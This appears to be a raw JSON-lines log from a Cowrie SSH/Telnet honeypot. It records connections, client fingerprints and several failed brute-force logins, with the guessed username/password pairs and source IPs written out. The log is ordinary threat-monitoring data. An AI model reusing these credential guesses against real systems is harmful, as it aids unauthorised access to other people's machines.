{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:50.493463Z","src_ip":"207.56.225.202","session":"0303c4a6a395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:51.173929Z","src_ip":"207.56.225.202","session":"0303c4a6a395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:52.339751Z","src_ip":"207.56.225.202","session":"0303c4a6a395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34496,"dst_ip":"10.17.0.5","dst_port":23,"session":"787ba7b64211","protocol":"telnet","message":"New connection: 192.119.13.58:34496 (10.17.0.5:23) [session: 787ba7b64211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:57.690464Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40548,"dst_ip":"10.17.0.5","dst_port":23,"session":"af72b6460151","protocol":"telnet","message":"New connection: 192.119.13.58:40548 (10.17.0.5:23) [session: af72b6460151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:59.317648Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34590,"dst_ip":"10.17.0.5","dst_port":23,"session":"43bb52901686","protocol":"telnet","message":"New connection: 192.119.13.58:34590 (10.17.0.5:23) [session: 43bb52901686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:04.826031Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":51662,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdcfce7f4f23","protocol":"ssh","message":"New connection: 165.154.23.26:51662 (159.203.135.109:22) [session: bdcfce7f4f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:07.028986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:07.034588Z","src_ip":"165.154.23.26","session":"bdcfce7f4f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:07.255975Z","src_ip":"165.154.23.26","session":"bdcfce7f4f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:08.178702Z","src_ip":"165.154.23.26","session":"bdcfce7f4f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:09.409925Z","src_ip":"165.154.23.26","session":"bdcfce7f4f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55374,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b0e03872ea","protocol":"telnet","message":"New connection: 192.119.13.58:55374 (10.17.0.5:23) [session: d7b0e03872ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:09.969671Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"98af8c6b791b","protocol":"telnet","message":"New connection: 192.119.13.58:51492 (10.17.0.5:23) [session: 98af8c6b791b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:15.861867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44950,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3dcf65f3e1","protocol":"telnet","message":"New connection: 192.119.13.58:44950 (10.17.0.5:23) [session: 5e3dcf65f3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:21.136578Z"}
{"eventid":"cowrie.session.closed","duration":42.09512758255005,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.074277Z","src_ip":"192.119.13.58","session":"99a8bdaa13ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":48981,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a4d5f7d1d43","protocol":"ssh","message":"New connection: 103.24.63.85:48981 (159.203.135.109:22) [session: 6a4d5f7d1d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.097883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.106493Z","src_ip":"103.24.63.85","session":"6a4d5f7d1d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.70393967628479,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.246919Z","src_ip":"192.119.13.58","session":"8bde8bd10864","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.308120Z","src_ip":"103.24.63.85","session":"6a4d5f7d1d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"123456","message":"login attempt [dolphinscheduler/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:23.924236Z","src_ip":"103.24.63.85","session":"6a4d5f7d1d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:25.126095Z","src_ip":"103.24.63.85","session":"6a4d5f7d1d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40348,"dst_ip":"10.17.0.5","dst_port":23,"session":"8628dbb8a474","protocol":"telnet","message":"New connection: 192.119.13.58:40348 (10.17.0.5:23) [session: 8628dbb8a474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:33.910279Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56928,"dst_ip":"10.17.0.5","dst_port":23,"session":"7782244fd2dd","protocol":"telnet","message":"New connection: 192.119.13.58:56928 (10.17.0.5:23) [session: 7782244fd2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:38.007854Z"}
{"eventid":"cowrie.session.closed","duration":45.35831165313721,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:43.048671Z","src_ip":"192.119.13.58","session":"787ba7b64211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.68770170211792,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:45.513476Z","src_ip":"192.119.13.58","session":"43bb52901686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"207a9a00fed8","protocol":"telnet","message":"New connection: 192.119.13.58:33302 (10.17.0.5:23) [session: 207a9a00fed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:53.926796Z"}
{"eventid":"cowrie.session.closed","duration":54.74526238441467,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:54.062654Z","src_ip":"192.119.13.58","session":"af72b6460151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.856871366500854,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:55.826202Z","src_ip":"192.119.13.58","session":"d7b0e03872ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.27466917037964,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:57.136373Z","src_ip":"192.119.13.58","session":"98af8c6b791b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53660,"dst_ip":"10.17.0.5","dst_port":23,"session":"790b9033a519","protocol":"telnet","message":"New connection: 192.119.13.58:53660 (10.17.0.5:23) [session: 790b9033a519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:58.961624Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57800,"dst_ip":"10.17.0.5","dst_port":23,"session":"a404564a6af8","protocol":"telnet","message":"New connection: 192.119.13.58:57800 (10.17.0.5:23) [session: a404564a6af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:12:59.928944Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34780,"dst_ip":"10.17.0.5","dst_port":23,"session":"56f786b0e60e","protocol":"telnet","message":"New connection: 192.119.13.58:34780 (10.17.0.5:23) [session: 56f786b0e60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:01.273952Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37810,"dst_ip":"10.17.0.5","dst_port":23,"session":"1861a4598cca","protocol":"telnet","message":"New connection: 192.119.13.58:37810 (10.17.0.5:23) [session: 1861a4598cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:02.008918Z"}
{"eventid":"cowrie.session.closed","duration":41.12836575508118,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:02.264817Z","src_ip":"192.119.13.58","session":"5e3dcf65f3e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48368,"dst_ip":"10.17.0.5","dst_port":23,"session":"764df1b27b14","protocol":"telnet","message":"New connection: 192.119.13.58:48368 (10.17.0.5:23) [session: 764df1b27b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:04.571893Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":64715,"dst_ip":"159.203.135.109","dst_port":22,"session":"396669c2bab2","protocol":"ssh","message":"New connection: 103.24.63.85:64715 (159.203.135.109:22) [session: 396669c2bab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:05.775152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:05.780421Z","src_ip":"103.24.63.85","session":"396669c2bab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:05.974755Z","src_ip":"103.24.63.85","session":"396669c2bab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:06.563340Z","src_ip":"103.24.63.85","session":"396669c2bab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":46060,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2f80e93c02c","protocol":"ssh","message":"New connection: 5.181.124.9:46060 (159.203.135.109:22) [session: e2f80e93c02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:07.662949Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:07.842127Z","src_ip":"103.24.63.85","session":"396669c2bab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36570,"dst_ip":"10.17.0.5","dst_port":23,"session":"7314a521c0be","protocol":"telnet","message":"New connection: 192.119.13.58:36570 (10.17.0.5:23) [session: 7314a521c0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:08.570102Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":58452,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a7336bd9a78","protocol":"ssh","message":"New connection: 207.56.225.202:58452 (159.203.135.109:22) [session: 1a7336bd9a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:09.381065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:09.386837Z","src_ip":"207.56.225.202","session":"1a7336bd9a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:09.551627Z","src_ip":"207.56.225.202","session":"1a7336bd9a78","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:10.066493Z","src_ip":"5.181.124.9","session":"e2f80e93c02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flyers","message":"login attempt [root/flyers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:10.232001Z","src_ip":"207.56.225.202","session":"1a7336bd9a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:10.469306Z","src_ip":"5.181.124.9","session":"e2f80e93c02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:11.397734Z","src_ip":"207.56.225.202","session":"1a7336bd9a78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:15.067131Z","src_ip":"5.181.124.9","session":"e2f80e93c02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:16.368390Z","src_ip":"5.181.124.9","session":"e2f80e93c02c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52934,"dst_ip":"10.17.0.5","dst_port":23,"session":"70fc64d0f5e3","protocol":"telnet","message":"New connection: 192.119.13.58:52934 (10.17.0.5:23) [session: 70fc64d0f5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:19.619359Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"34677d3ef767","protocol":"ssh","message":"New connection: 193.37.70.224:44224 (10.17.0.5:22) [session: 34677d3ef767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:19.907875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:19.916835Z","src_ip":"193.37.70.224","session":"34677d3ef767","protocol":"ssh"}
